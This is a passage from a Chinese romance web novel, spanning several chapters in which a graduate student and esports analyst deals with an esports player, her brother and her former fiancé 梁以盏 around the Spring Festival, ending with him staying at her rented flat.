俱乐部为了避免意外影响,知晓祁招趁着这两天没有比赛,下一场的对手队伍实力较弱,所以在他去请祝陶浮来当分析师的时候,没有过多阻拦,只是叫他注意分寸,经理与他一同前往。
大学校园人来人往,出酒店前经理千叮咛、万嘱咐,让他戴好帽子口罩,留意行踪,看他不耐烦地遮掩到位了,才头疼地放他离开。
往前走进一步,祁招径直摘下口罩,英俊潇洒的眉眼,瞬间锐利得无所遁形。
目光攫住她漂亮脸颊上,企图捕捉到一分一毫的神色波动。
薄唇翕动,原本想说些什么。
看到她的平静一如既往,仿佛什么都没有发生。
话到嘴边,祁招喉结滚动,只哑着声线如此陈述。
“跟梁以盏绝非良配,与他搭上关系,无异于与虎谋皮。”
“我不管你们出于什么原因而牵连在一起,他梁氏能办到的,我祁家一样可以。”
冬夜的校园格外安静,热闹喧嚣像是隔着一层薄薄的云雾,有种不太真切的柔和朦胧。
只有当从充满暖气的大厅里,走到室外,才能感觉到一丝说不出道不明的残酷气息。
相顾无言,再次陷入沉默。
外套口袋里的手指不自觉地蜷缩,祝陶浮面上保持平静,浅淡抬眸,目光凝落于那缕散乱帽檐外的狼尾发上。
她声音很轻,散在寒风里,却足够令对面的人,听得真实清晰。
“祁招,不用再来找我了。”
高挺恣肆的身影没有离开,仍停留在原地一动不动。
祁招目光如炬,勉力压抑着气焰。
“不说别的,就凭他这么多年,从未对外公布你是她未婚妻这件事,他从来就不是真的在乎你!”
相较于祁招来的时候就带着火气,祝陶浮则一直显得尤为平静。
夜色浓稠得化不开,凄清寂冷,她那双眼眸里盛放着截然相反的温和清黑。
“这是我和他之间的事情,就不劳烦你操心了。”
今年的春节,比往年要晚,以至于二月初,联盟仍然在进行比赛。
虽然多年以来,lol比赛热度,依旧居高不下,稳稳位于游戏排行榜首。
但任何事物逃不开生老病死的规律,发展了十几年,联盟早已进入疲乏期,设计师不得不想法设法更改数值玩法。
来来回回,更新换代,谁能先吃透版本,谁就快人一步。
原本就稀缺的分析师,一下子变得格外炙手可热。
每一家战队的粉丝,都尤为关注赛训组成员,翻阅过往带教经历和bp制定的仔细程度,不亚于选手之间互相比较。
其中一个名字,在各家微博超话里均反复出现——
bless。
排名靠后的队伍,粉丝暗暗祈祷,希望管理层给点力,趁着现在bless初出茅庐、身价便宜,赶紧把人挖过来。
排名靠前的队伍,粉丝直接@管理层,速速使用钞能力,让bless薪甘情愿来打工。
无论哪家都在接,可bless的名字始终没有出现在任何一家官宣的大名单上。
以及无论哪一家都不得不承认,接到bless的概率,QSG是最大的。
因为从一月开赛以来,直至二月,QSG赛训组的分析师一栏,一直处于空白状态。
二月中旬过年,春运高峰期来临,裴瑄人生第一次参加春运,也是第一次走进不是商务座的地方。
他堪堪避过一个大叔端过来的泡面碗,又顺手帮一个大姐将沉重的行李抬到行李架上放好,才心惊胆战地在自己的位置上坐下。
好不容易勉强安定,邻座的阿姨热情地询问,小伙子有没有对象,家住哪里,多大了等等。
常年在国外生活,裴瑄已经不知道第多少个第一次,切实感受到了春节的气息。
他装作话忙于打电话,避开邻座阿姨的关心——
“我后悔了,应该蹭你的飞机去。”裴瑄懊恼不已。
自从梁氏兄弟两滚到国外分公司不在涉足国内产业,魏敏便递交辞职信,返回中部老家,在栖梧隔壁的省市。
所以他原计划是跟着梁以盏的私人飞机,降落在栖梧以后,再辗转前往。
但魏敏知道消息以后,问他是哪趟车,好在到达时间赶到车站。
于是裴瑄脑子一热,特地选了春运的普通座位,彰显风尘仆仆、千里奔赴的艰苦不易,美其名曰“苦肉计”。
可苦肉计的前提是苦,裴瑄只能先自食六个小时车程的苦果。
闻言,那头只淡淡地赏了个“蠢”字。
一听这话,裴瑄冷笑,阴阳怪气道:“是是是,就你聪明,但我有人接有人心疼,你那位可是都不知道你要来呢。”
知道他嘲讽自己的苦肉计,裴瑄回怼过去:“我们高高在上的梁董想表演,可惜台下是没有观众的。”
停顿半拍,清冷嗓音从电话那端传来,梁以盏轻嗤了声:“你也就这点出息,我不会让她心疼。”
裴瑄:……——
作者有话说:妇女节快乐![玫瑰]
第46章 他来这了
今年过年晚, 盛科大学数学系研三的开题报告答辩,定在过年前汇报。
规定发表的顶刊,祝陶浮不多不少完成。
至于开题报告, 整体进程还算顺利,不大不小的几个问题, 无伤大雅,年后修改时间仍算充裕。
一切收整得差不多, 算算时间,刚巧能看到今天的电竞春晚。
四处奔忙的室友们,难得齐聚在寝室。
现在电竞关注度越来越高, 所以每年一次的春晚,lpl主办方会邀请娱乐圈的明星,跨界参与助阵。
而其中两位演员,刚好是其他两名室友正在追的明星。
另外一名室友, 虽然对他们两不感冒,但也不讨厌, 属于墙头类型。
于是四人一起, 围在祝陶浮的电脑前,观看电竞春晚。
在明星们出来以前,是两场选手正赛。
压轴登场的两支队伍,是去年成绩最好的QSG与TKL。
“我去,这哥们帅啊, 长得跟明星一样!”
室友们平时不看比赛,对于电竞的了解,来自于祝陶浮上一场的科普。
游戏看得一知半解,但人类对于美好事物的认知,总是共通。
因此, 在看到祁招出场的时候,三名室友眼神瞬间发亮。
“陶陶,这人谁啊,长得也太好看了吧!”
“现在好多明星都拍些糖水片,大多是奶油小生的类型,难得看见个冷脸帅哥,还挺拽哈!”
“陶陶,快给咱说说,这个chess到底什么情况,朕怎么从来没有见过他?”
……
室友们玩笑式地推搡她胳膊,贴近后好奇询问,祝陶浮有些无奈,靠着座椅稍稍后仰。
“哎呀,你们不看电竞,不认识也是理所应当。”
“不行!”室友们异口同声,当即否认。
“帅哥是全人类的资源,必须实现共享计划!”
听到这话,祝陶浮微微出神,怎么感觉有些莫名熟悉。
不待她细细回想,室友挽着她胳膊,催促她速速科普此名竞男资料,祝陶浮从回忆里抽身打断,继续给她们讲解比赛。
看完上一场bo5,室友们对于比赛整体进程有了个大概认知。
虽然具体的bp选择、团战运营等等,仍然看不清局面,英雄一个都不认得,但是哪边打得精彩、谁的操作厉害,她们已经能知晓个七七八八。
所以在观看TKL和QSG的比赛时,她们时不时发出诸如此类的感慨—
“哇,chess这个闪现
向前太帅了!”
“天啦,QSG下路组对线又单杀了!”
“好刺激,团战结束chess剩丝血活了,四杀太厉害了!好可惜就差一个能五杀!”
……
“等一下。”有些感到莫名,祝陶浮好奇发问:“你们怎么就自动站到QSG那边了?而且一直在提chess?”
“没办法。”室友耸了耸肩,伸手指向屏幕。
“可不是我们偏心,谁让导播一直给他镜头。”
屏幕显示,bo5的第三场比赛,以QSG胜利而告终。
导播适时推进镜头,给了祁招一个特写。
画面里,他狼尾散乱,神情恣肆冷漠,不屑于给摄像机一个眼神。
眉眼冷峻锋锐,离场潇洒地单手拎着队服外套,足以引起现场尖叫,以及解说们对于他脸帅气、打得漂亮的玩笑赞叹。
临近春节,到处洋溢着过年气氛。
红艳节日与飘渺白雪交错勾织,铺绘成归家团圆夜。
寝室内,四人同在一起,围看着同一场比赛,彼此间心照不宣,珍惜这来之不易、能坐下谈笑欢聚的宁静时光。
“诶,你们看,外面底下,是谁又在表白啊。”室友从洗手间出来,无意间往窗外瞟了一眼,发现楼栋底下的空地上,摆放着心形蜡烛。
一名男生正现在心形摆字中间,手捧鲜花,等待向女生示爱告白。
阳台玻璃门推开,室外风雪瞬间卷入室内,寒冷让兴奋暖和
了一晚上的大脑,稍稍清醒冷静下来。
“什么情况啊,让我来吃个瓜。”
“刚好期末考结束了,吸引大伙儿注意是吧?”
……
室友们有说有笑地前往阳台,祝陶浮被她们带过去围观。
“卧槽,怎么是这男的!”
“诶,我没看错吧,跟陶陶一个导师,之前还追过她来着?”
“就是他,覃鹏宇,小气吧啦还死缠烂打,恶心死人了。”
……
她们三说着,扭头看向祝陶浮。
“那个,陶陶,别往心里去啊,他今天……”
因为她们注意到,空地上摆放的字母拼音,不是祝陶浮,而是别的女生。
“我往心里去干什么。”祝陶浮笑笑,径直道:“他不烦我,我高兴还来不及。”
室友们又仔细瞅了瞅她表情,发现她是发自内心的笑意,不似作伪,这才放下心来,尽情吐槽。
“那就好,我真的早看这装男不爽了,都不是一个课题组,之前还跑我们实验室指指点点。”
“一模一样啊姐妹,他也串过我们这边的门,说是请客吃饭,结果把咱带去一个什么……反正那个餐馆很垃圾,菜也不怎么样,他自己搁那儿喋喋不休。”
“他爹的,最烦这种啥不懂瞎指挥的傻呗,学术能力一坨,整体净整些有的没的,本来就是走后门读的博士,还不低调点儿,哪天怎么作死的都不知道!”
……
几人你一言我一语,尽情吐槽傻逼装男的奇葩行径。
不止她们寝室出来围观,周边楼栋的阳台上,尚未返乡的学生们,陆陆续续走了出来。
楼下一名女生从门口走了出来,远远瞧去长相不算惊艳漂亮的类型,但勉强是清新可爱,身姿小巧伊人。
扑进覃鹏宇怀里时,至少表面上看上去,两人容貌相当,还算登对。
“有人扒出来了,说女生是大二的。”
“啧,覃鹏宇老牛吃嫩草,臭不要脸!可怜妹妹,要被他荼毒了……”
“他这名声稍微打听一下,就知道有多不靠谱,情场老手、暧昧不断,之前不也有女生主动投怀送抱,以为覃鹏宇背后的学术资源能帮衬一下,结果他吃人不吐骨头,白睡人家,她发帖怒骂,然而还是被他家里压下去了……”
手机里弹出来一条消息,紧接着又是一条,祝陶浮打开。
覃鹏宇:“曾经你对我爱答不理,现在的我你高攀不起。”
覃鹏宇:“我已经找到我的真爱,想必你见证了我的幸福。”
覃鹏宇:“她很好很美很善良,你不懂得珍惜,她很会心疼我,希望你不要打扰我的感情。”
……
后面还发了些什么信息,祝陶浮懒得看了。
能一边在楼下深情相拥告白,一边又给自己发骚扰消息,祝陶浮只觉得此人脑子着实有病,决定冷处理不给他表演空间。
—
室友们都不是本地人,赶在春运最高峰之前,离开栖梧。
曾经母亲租住的老房子在郊外,这些年祝陶浮勤工俭学,一直维系没有退房。
所幸郊外房租便宜,房源并不抢手,祝陶浮才能保持着房子,过年也算有个休息去处。
离校当天,腊月二十六,祝陶浮拖着行李箱,前往校门口的地铁。
寒风萧瑟,行人匆匆奔走,地铁口停放着数辆单车和电瓶,打车转程的人群在这里下又上。
一辆普通到与周遭其他车辆并无特别的轿车,停泊路口,不起眼到像是等待乘客的网约车。
因此祝陶浮没有过多留意,径直前往地铁入口,直到车上下来一人。
即使人们归心似箭、奔赴向各自归家旅途,见到如此相貌英俊、穿着品味不俗的男子,仍会不由自主地将目光从返回的前方,挪出半分精力投向路旁。
皮鞋停驻在视线前侧,祝陶浮正低头搬着行李跨过上行的阶梯。
抬眸看过去,映入眼帘的,是一张熟悉俊朗、对于她来说又有些欠揍的脸。
本来不想理他,但她往左边挪一步,祝峥就跟着向左迈进;她往右,他亦是跟着向右走去。
顾虑到春运人群众多,避免产生其他不好的影响,祝陶浮无奈地放弃挣扎,任由他接过自己手里的行李箱,跟着他走向路边朴实无华的普通轿车。
“开这么普通的车,不是你的风格吧。”坐上副驾,祝陶浮一边系上安全带,一边说。
手掌把控方向盘,祝峥目不斜视,道:“还不是怕给你造成心理负担,特地换了辆车。”
“不过,本人实在是英俊潇洒、玉树临风,开这破车着实不符合我的气质,所以依然是挡不住的耀眼夺目。”说着,把自己给哄美了,侧瞥眼神,企图从祝陶浮那里得到肯定。
对方老神在在地嗯了一声,祝陶浮道:“看路别看我,注意安全。”
一片真心枉错付,祝峥:……
张了张嘴,忍不住教训两句,陡然间别过来的一辆车,令他来了个急刹。
随后,此起彼伏的喇叭声,外加路怒症摇下车窗、冲着他比划听不懂的方言谩骂,令他不得不调整坐姿、专注前方路况。
“都说栖梧交通相当随心所欲,今天也算是体验了一把所谓的最强对抗路。”眉眼皱起,祝峥头疼道:“真不知道你长时间在这里生活,怎么能习惯。”
祝陶浮哦了一句,自然接话:“因为你是在kpl的对抗路,我是在lpl的上路。”
又蹦出这种奇奇怪怪、听不明白的词语,祝峥选择无视,径直挑破话题。
“行,你说的对,咱两不在一个世界,无法理解。”轻嗤了声,他懒懒道。
“那梁以盏呢,他来这了,你知道吗。”
第47章 心软的神
位于中部省城的栖梧, 是四通八达的转折点,春运时节人来人往、熙熙攘攘,几乎全聚集在以车站为中心、向外辐射的周边街区。
其实在栖梧生活了这么多年, 祝陶浮闲逛市中心商业街的次数寥寥无几。
小时候跟着妈妈一起在节日的时候凑热闹,长大后上大学与室友玩一玩、看一看, 她几乎没有独自晃悠过。
理论上,祝峥来到栖梧算是客人, 应该是祝陶浮请他吃饭。
但是祝峥
亦是相当清楚,如果让祝陶浮请客,又是些老旧街区的小巷菜馆, 还不如反过来,自己花钱带她,吃得惬意放心。
市中心顶楼的米其林法餐,祝陶浮从来没有走进过这幢楼宇。
在洲安由祝峥带着, 领略不同风景,没想到回到算是她家乡的栖梧, 依然是跟着他混吃混喝。
“要不还是我请你吃吧?”坐定在包厢, 祝陶浮诚恳道。
祝峥淡淡地看了她一眼,说:“你又找了什么实习,工资不要了?”
摇了摇头,祝陶浮坦然承认:“这顿我请不起,我是说在其他地方。”
唇角掀起一个嘲讽的弧度, 祝峥毫不客气地说:“算了吧,你说的地还得我自己擦擦桌子、开水烫烫碗,我才懒得麻烦。”
祝陶浮:“……那去商场连锁的,我找个栖梧本地的特色品牌。”
往座椅后躺靠,祝峥不屑吐词:“预制菜。”
祝陶浮:……
“好吧, 我是诚心请你吃饭的。”祝陶浮看了他一眼,静静补充。
“行,诚心我收到了。”应答她的话语,可语气是不加掩饰的敷衍,祝峥阴阳怪气的技能发动。
不过话音一转,他示意侍者给自己倒上酒后,让他出去,然后稍稍坐直身子,收敛些许嬉笑的纨绔气息。
缓缓地掀起眼睑,祝峥显得较为正色,看着她说:“我也是正儿八经,来邀请你,回家……咳,回洲安过年。”
隔音良好的包厢,安静无声,刀叉碰撞发出的细微窸窣动静,格外引人注意。
所以祝陶浮停止拨弄前菜里、她觉得有些一言难尽的生蚝冰淇淋,同样稍显正经,回望注视着对面人。
“我就不了吧,不打扰你们了。”
听到这个理由,祝峥冷哼了声,语调轻蔑而不屑:“我们?哪个们?祝家现在还有谁?你找个理由敷衍,也认真点好吗?”
在过去几个月的日子里,时间如同开了加速器,有人苦心经营的成果顷刻之间倒台,也有看上去置身事外、无所事事之人,忽然间登台亮相、掌握重权。
洲安豪门之间的斡旋风雨,与远在栖梧、远到与这些上层斗争不在同一片云层下呼吸,祝陶浮有意无意,会避开相关讯息。
但网络世界四通八达,即使她不想看、不想听,免不了会被推送新闻,周围人也会八卦讨论,她被迫跟着了解些许豪门的那些秘辛。
短短的几行字,简洁的十几秒,她所听闻的,却是无法想象的惊心动魄。
现在祝峥云淡风轻地坐在她面前,看起来颇为闲适无谓,成为祝家掌权人以后,所耗费的精力心血,恐怕是相当的艰难困苦。
否则他那狭长俊朗的眉眼下,是怎么都掩饰不了的深重淤青。
知晓他近段时间过得并没有他外表上看上去的潇洒不羁,祝陶浮顺着他的话点头:“我没有敷衍,是在认真地找个理由,现在他们二老退位,团年这种重要时刻,祝家总要有人主持大局。”
“比如,我眼前这我英俊潇洒、风流倜傥新任董事,就很适合。”她眉眼弯弯,伸出手指比划一二。
斜斜地睨了她一眼,祝峥嗤笑道:“别给我戴高帽,没用,我也不跟你兜圈子,这些年就刚接你回来时,你在祝家过年。”
“现在最碍眼的那两人走了,你回洲安有什么不可?”
祝陶浮沉默,像是思索般停顿几秒,才给出答案。
“那……没有理由,我想在栖梧过年可以吗?”
“那更不行了,没有理由更是要跟我回去。”在她答复的时候,祝峥果断应声。
似乎想起什么,祝峥轻咳了一下,道:“放心,不会有什么什么乱七八糟的亲戚,拉着你家长里短、问这问那。”
本意是绞尽脑汁,尽量地给出原因,让祝陶浮放心地回洲安。
然而祝陶浮只回他一个一言难尽的眼神,无声而又明晃晃的表示,乱七八糟的亲戚,正是他本人。
好心当作驴肝肺,祝峥心里吐血:……
“你……”习惯性催婚话语就要脱口而出,但想到了什么,或是这几个月里在商场里摸爬滚打心性又磋磨不少,祝峥只心累表示。
“算了,你不回去就不回去,我不会绑你回去。”
说着,他咬牙切齿地补充:“你就抱着手里那些所谓证据,你自个儿过年吧!”
祝陶浮点头,乖巧应声:“好的。”
看到她回应得干脆果决,祝峥更气了,他这次是真心实意地来洲安叫上祝陶浮回去过年。
知晓她不想跟豪门的纷纷扰扰扯上关系,来到盛科大学,他还特意换了辆普通低调的车,为的就是减少旁人关注,带来不必要的麻烦。
哪知祝陶浮如此不领情,所以祝峥压着气音,冷笑道:“行啊,你不跟我走,那你等着梁以盏来找你吧。”
“我看你是愿意跟谁,回到洲安。”——
腊月二十八,栖梧郊区,静远观。
此处道观主要是正一教,成员较少且门规自在随意,在过年这种团聚的日子,道观里没有什么人来往,除了住在附近的道长,帮忙过来照看打理神殿。
每逢春节期间,独自生活的祝陶浮,就会前往观里,帮助维护静远观的日常。
里里外外地清理一番,祝陶浮连续忙碌两天后,终于将大殿小殿挨个打扫完毕。
下午四点,祝陶浮停下奔忙,悠闲地煮了一壶茶,端着搪瓷杯,搬了把旧木椅,闲闲地靠坐,安静地眺望向远处高山与溪流,静静放空。
上午的时候,太阳微微冒出云层,风雪短暂停歇,一切朝着化雪的迹象漫延。
然而此时,天色又暗沉了下来,灰蒙蒙的天空,开始簌簌地飘落雪花。雪势不算猛烈,无声无息地在风中安静摇晃。
广袤山村里零星散落分布的农庄,袅袅炊烟缓慢升腾。
偶然传来的一两声鸡鸣,或者门前的猫狗叫唤声,听上去并不吵闹,反而隐隐透露着人与自然的和谐安静。
远山渺茫幽静,溪水蜿蜒流淌,祝陶浮双手捧着温热的搪瓷缸,静坐闲看云卷云舒。
神殿屋顶角落飞檐翘起,积雪存不了太厚,时不时往下坠落,啪嗒掉在地面陷入静默的大地。
鞋底落在雪面上的声音,融于簌簌坠落的飘雪,祝陶浮一时半会儿,没有发现有人靠近。
一直到手捧着的搪瓷茶杯,渐渐变凉,祝陶浮后知后觉感到手指冻得发僵寒凉,打算进屋添些开水。
为了方便打扫做事,祝陶浮换了身小花棉袄,忘了是哪年在村子附近的集镇上买的。
看起来有些笨拙的款式,穿在她身上平日里冷静端庄的聪明劲儿去了不少,莫名显得娇憨可爱。
她慢悠悠地站起来,转身往居室走。
刚走了两步,复又停止脚步。
屋檐下,不知道什么时候站了一人,偏殿内的烛光,幽幽映照着清冷凛冽身影。
也不清楚他站了多久,白雪落在他黑色外套上,凝结成凉薄霜色。
起风了,寒风开始变得萧瑟急冽,刮得人脸上感到生疼。
祝陶浮的漂亮眉眼微微轻蹙,起初以为是望花了眼,而看错了人。
直到炸了眨眼睛,确认眼前人的确并非泡影,她不着痕迹地轻叹了声气,慢吞吞地说道。
“……梁董日理万机,怎么来到这座偏僻小观,何况你也不信这些。”
说到这里,她顿了顿,好心提醒:“现在快傍晚了才过来,朝拜神明最好还是趁着白天早些时候,否则的话,许愿恐怕不会很灵验。”
天色灰蒙暗沉,青山绿水间万物都变得模糊悠远。
然而来者高挺而立,眼眸是与天色一水的灰静黯淡,偏眉眼与身姿,冷峻得清晰而凛冽,令人难以忽视他携风雪而来的深沉夙寐。
冲锋衣随风而扬,衬显出
他利落干净的肩宽腿长,皮靴踩在雪地上,朝着她站立的方向,走了过来。
“是不太信。”久违开口,梁以盏嗓音略显钝哑,嗓线沉沉地说。
“所以我来找,心软的神。”
“看她愿不愿意答应。”
第48章 入乡随俗
静远观位置偏僻、道观狭小, 节日里人们都会前往香火旺盛的地方拜会,而非山村里犄角旮旯之处。
因此静远观没有设置客堂的就寝房间,从来没有香客在此过夜, 勉强保留着一间会客室。
将梁以盏带进屋内,祝陶浮翻找出几乎没怎么用过的一次性纸杯, 倒了一杯热腾腾的茶水递给他。
坐定在他对面,祝陶浮便开始委婉地下达逐客令。
“你喝完了就早点走吧, 雪越下越大,回去路上不方便。”
等他慢慢地喝完一杯,祝陶浮犹豫着开口劝说。
现在道观翻修以后条件改善, 室内装有空调,暖和热气渐渐驱散窗外严寒,鸦羽长睫上微垂着的雪花,逐渐消弭。
梁以盏抬眸看过来的时候, 灰暗眼眸有几分说不清道不明的湿漉缓滞,清冷眉骨间冽出锋锐的艳色来。
还想再说什么, 他看得祝陶浮心头一愣, 令她反思人家远道而来,仓促赶人着实不太符合待客之道,遂又耐着性子,注视着他喝完一杯茶,拎过桌上的开水瓶, 又给他倒了一杯。
“水太烫了,你不用这么着急地看着我。”
似是看出她心中所想,等着自己把茶水喝完,梁以盏掀起眼睑,幽幽陈述。
“……哦。”不明白他什么意思, 祝陶浮愣愣地发出一个语气词。
室内温度缓慢上升,方才两人站在窗外雪地里相顾无言的寂静,在平静无风的一间房子里,开始慢慢打破后,缓慢流动。
雪越下越大,透过窗外的玻璃,祝陶浮几乎能看清雪花毛茸茸的六角形状。
她回眸看向梁以盏,对方依旧不紧不慢,没有丝毫担心大雪封路、无法返回的焦急感。
想了想,祝陶浮再次慢慢地提醒他。
“我们这里可不接待过夜的啊,要是雪下得太大,下山不方便,你可就不好回去了。”
纸杯廉价普通,茶叶亦是粗糙的农夫自制种类,但梁以盏端着茶杯、慢慢啜饮,仿佛是深处在价值连城的品茶会。
闻言,梁以盏放下茶杯,轻描淡写地看了她一眼。
“你现在是留我过夜?”
祝陶浮一愣,自己难道表达有误,这不是在催他不要留下来吗?
“不是,我们这里没有过夜的人。”
估计他没听清楚,祝陶浮再次重复解释。
听到这番话,梁以盏没有什么多余的情绪,显得很平淡,接着询问。
“你睡哪。”
祝陶浮:“家里啊,我们当值的人员,都不在这里休息,晚上就锁门回去了。”
梁以盏轻嗯了声,放下茶杯,淡淡道:“那就去你家。”——
下山路上,祝陶浮坐在越野车里,有些晕晕乎乎。
可能是天色暗沉,视线模糊不清,或者盘山公路蜿蜒,晃转得她生理性感到头晕不适。
梁以盏开车,来到镇上的一家最大的超市,采购物资。
因为他什么都没有带来,连行李箱都没有带一个。
集镇弯弯绕绕,晚上下雪视野不是特别清晰,祝陶浮只好帮忙指路,带着他先去买一些过夜最基础的洗漱用品。
与大城市里赶在过年前夕抢购年货时的人山人海不一样,小集镇上的人们要么已经在城里的商超买了东西回来过年,要么趁着白天已然备货齐全。
过年夜晚的小镇格外宁静祥和,梁以盏和祝陶浮行走在货架之中挑挑拣拣。
白日里翻拣过后的货物,新旧堆叠得零零散散,打着呵欠玩手机准备下班的员工,在看到他们两的到来时,还以为自己看错了,这个地方什么时候有这么好看的村民。
转念一想,大过年的大概率是回乡走亲戚的小情侣,而不是小夫妻,看他们两相处模式还保持着一段距离的安全疏离。
尤其是女生,一看就是个脸皮薄的漂亮小姑娘,男生都没有像其他情侣间相处时牵牵小手、摸摸小腰,只说了些什么,小姑娘白皙脸蛋上噌地泛红。
“哎,这小女孩也太不经逗了吧,我看那男生就说了些什么,她脸红的,耳朵都红了。”
玩手机的员工隔段距离,就是两闲聊的阿姨。
快过年了,大晚上也没什么顾客,两人唠嗑消磨时光。
“你不懂,你看看那男生,长得多帅啊,说啥估计都让人心动哦!”
“我怎么不懂,我刷抖音有时候刷到这种,标签打的高颜值博主,底下高赞评论就是讲,看到他这个人,已经不知道他在说什么,就顾着看脸了。”
“噢哟,你还挺追赶时髦的啊,看看小年轻什么的,之前你不是一直刷的,都是上个世纪一些歌星?”
“哈哈我家小丫头喜欢追星,有时候会搜搜她看的明星到底是谁,自然而然,大数据就给我推送些年轻漂亮的美女帅哥们咯。”
……
另一边,梁以盏自觉没有说什么特别过分的话。
路过百货区,贴身衣物与毛巾挂在一起,祝陶浮在选毛巾的时候,梁以盏问她附近还有没有别的超市。
“没有啊,这里已经是当地最大的购物点了。”她不明所以,疑惑道:“怎么了?”
懒散地扶着购物车,梁以盏扫了眼货架。
“没合适的。”
“……啊?”祝陶浮更奇怪了,她瞧了瞧五颜六色各式各样的毛巾,迟疑问:“是材质不合适吗?”
可能少爷出身,养尊处优,吃穿用度皆为精致昂贵,普罗大众的东西估计都是用不了的杂牌?
面对提问,梁以盏则显得淡定从容多了,他无所谓地表示:“不,都太小了。”
“小?哪里小了。”尽量找了条比较宽大的毛巾,祝陶浮拿给他看:“这够大吗。”
“不够。”眼睑半垂,梁以盏再次矢口否认,手指指向她旁边的陈列。
“我说这个。”
顺着他指的方向转身,祝陶浮发现,原来毛巾的货架旁边,摆放着内裤。
祝陶浮看了眼商品,下意识地侧身抬眸,看向梁以盏,对方正面无表情地望着自己。
祝陶浮:……
“……没有一件合适的吗?”不再多看一眼那处货架,祝陶浮硬着头皮往下聊天。
梁以盏感到有些好笑,眉眼微挑,下颌扬起冲着那些式样道:“又不是没看到过,你觉得有?”
这怎么觉得!
之前同住屋檐下,的确难免会撞见贴身衣物,但那是日常起居间不可不免。
现在讨论尺码适配度,两者不能相提并论。
别开眼神,祝陶浮有些没好气地把毛巾丢进购物车,强行镇定与他对话。
“既然没有合适的,那你连夜回去吧。”
说完,不再看他,径直往前走。
目光从她泛红的眼尾,到她转身后背影里白皙透粉的耳垂,梁以盏轻啧了声,略带嫌弃地扫向货架,拿下最大尺码放心购物车,推走赶到她身侧,遗憾道。
“算了,将就一下。”
祝陶浮:……
一路上两人除了购买洗漱的生活用品,鸡鸭鱼肉和水果零食,每样都采购了一些。
“你买这么多干什么?”祝陶浮问。
“放心,不会浪费。”知晓她那些道观里学来的勤俭节约,梁以盏向她保证。
“但你这买的,一两天怎么可能会吃完。”没有被他糊弄过去,祝陶浮继续询问。
“走之前会结束的。”梁以盏懒懒地看向她,说。
走进超市时,祝陶浮觉得没必要推最大的购物车,速战速决。
然而一圈逛下来,一辆购物车险些不够塞,装得满满当当,稍微一碰就会掉出来。
所幸小镇上过年时期商铺打烊时间早,店里没什么顾客,不至于拥挤碰撞,满
满当当的一车货物,才能安安稳稳推行至收银台。
以及……祝陶浮后知后觉,很久没有买年货的感觉了。
还是小时候,跟着妈妈一起在过年前购买。
那时候年味比现在浓厚,也没有网购,人们拥挤在超市里采购过年所需的各种用品。
后来去洲安,祝陶浮不用操心年货,祝家置办妥当,她只用当一个合格的花瓶,扮演好乖顺的私生女角色。
再后来与梁以盏联姻,她可以不用再在春节演戏,一个人在栖梧落得清净。
现在是与梁以盏在除夕的前一晚,买了整整一购物车的东西,祝陶浮心想,这算是采购年货吗。
“等一下。”梁以盏出声,打断了她微微出神的思绪。
最后的区域是女装和男装,现在网购方便、价格便宜,这一块的布景基本属于是填补超市功能区用,属于冤大头才会涉及。
而看梁以盏的意思,他好像就是那个冤大头。
“……没必要吧。”看着一水的廉价男装,又瞅了瞅他那张贵气逼人的脸,祝陶浮实在想象不到,梁以盏穿上这些衣服的模样,估计跟村头嗑瓜子的大爷没有差别。
不对,还是有,脸蛋和体型的天壤之别,梁以盏穿着大花袄依旧跟男模似的。
“没事,继续将就一下。”他也不试穿,直接说了哪几件,让祝陶浮抱在手里。
“……你确定是这几件?”虽说这一水的衣服都不怎么样,但好歹应该是矮子里拔高个。
梁以盏偏偏反其道而行之,怎么土怎么来,祝陶浮简直不可思议。
他倒是显得很淡定,甚至美其名曰,饶有兴致道:“入乡随俗。”
正穿着栖梧特色大花袄,祝陶浮:……
第49章 梁茶茶,祝小水
出租屋在一间矮旧的民房, 祝陶浮住在三楼,一二层的人家去往外地的子女家过年,整栋楼安静地只听得见她和梁以盏的脚步声。
所有的重物梁以盏都一把包揽, 他提着两大袋实实在在的重物。
祝陶浮是看着也提了两大包东西,但实际上里面是装着些轻飘的衣服。
其实祝陶浮很不情愿梁以盏在他这里停留, 但顾念着曾经高中,梁以盏把租房分给他一整年。
于是她安慰自己, 一个年而已,初八就是法定节假日收假,也就最多一周的时间。
而且今晚采购的物资, 是梁以盏出的钱,不让人家住在这里,倒是显得过于刻意为难了。
从包里翻出钥匙,祝陶浮打开房门, 梁以盏跟着走进屋内。
两室一厅的房间,干净整洁到像是屋内的主人为了随时搬走、避免麻烦, 而没有什么多余的装饰。
这一点, 与曾经梁以盏在洲安高中租房时、空荡荡的陈设几乎一致。
“我就不多介绍了,你也看得见房子内的构成摆设。”
想通了顶多七天而已的停留时间,祝陶浮也不忸怩,坦然地对梁以盏简明扼要陈述。
晚上九点半,对于大城市而言, 夜生活才刚刚开始。
但在这偏僻的郊区小镇,居民们已然渐渐入眠。
因为处于春节,小孩子们偏爱热闹,零星的鞭炮烟花声从窗外散落室内,才显得相顾无言时不至于过分凄冷寂静。
对此, 梁以盏没有任何生疏不适,进屋后如同在洲安时一样慵懒随意,跟在自己家似的悠然迈步。
祝陶浮在厨房的水池旁收捡水果蔬菜,梁以盏则自然地将购物袋的冷冻肉类和其他速食放进冰箱。
一切处理完毕,梁以盏问她:“我睡哪?”
一共就两间房,祝陶浮指向其中一间:“那儿。”
于是梁以盏施施然地拎着东西进屋。
不过三秒,情绪难得地写在他脸上,梁以盏返回厨房,语气有些一言难尽的意味。
“祝陶浮,这就是你的待客之道?”
正在低头冲洗蔬菜,以为他去洗澡要些时间,闲坐着无所事事,便把菜用水泡着。
关上水龙头,祝陶浮被他盯得莫名奇妙,反问道:“你又怎么了。”
“又?”梁以盏这次是没克制气音,沉沉阴影压了过来:“还有人在你这里过夜?”
“没有啊。”注意到他靠过来的身影,祝陶浮客观地说:“你往旁边站站,挡光线了。”
梁以盏:……
直到将盆里的青菜全部洗完,然后放在篮子里沥干,祝陶浮一转身,发现他还在厨房站着没有离开。
于是她耐着性子,好声好气地询问:“是觉得房间太简陋,还是被子太薄盖不暖和?”
“你别跟请示一样的管家语气,跟我说话。”梁以盏斜靠在门栏上,嗓子里逸出声强调。
祝陶浮哦了声,顺势敷衍:“知道了,大少爷。”
本是想调侃一句,缓和气氛,哪里知道没能糊弄过去,梁大少爷的脸色依然不妙,明晃晃地写着“我很不爽”四个大字。
问了他两遍,他不回答,祝陶浮懒得猜测,错身从他身旁去客厅。
片刻,他清冷嗓音幽幽地从身后传来。
“你把你的房间给我睡什么意思。”
头也不回地继续收拾桌上零食,祝陶浮平静道:“那总不能让你去睡我妈妈之前的房间吧,就只能把我的房间让给你。”
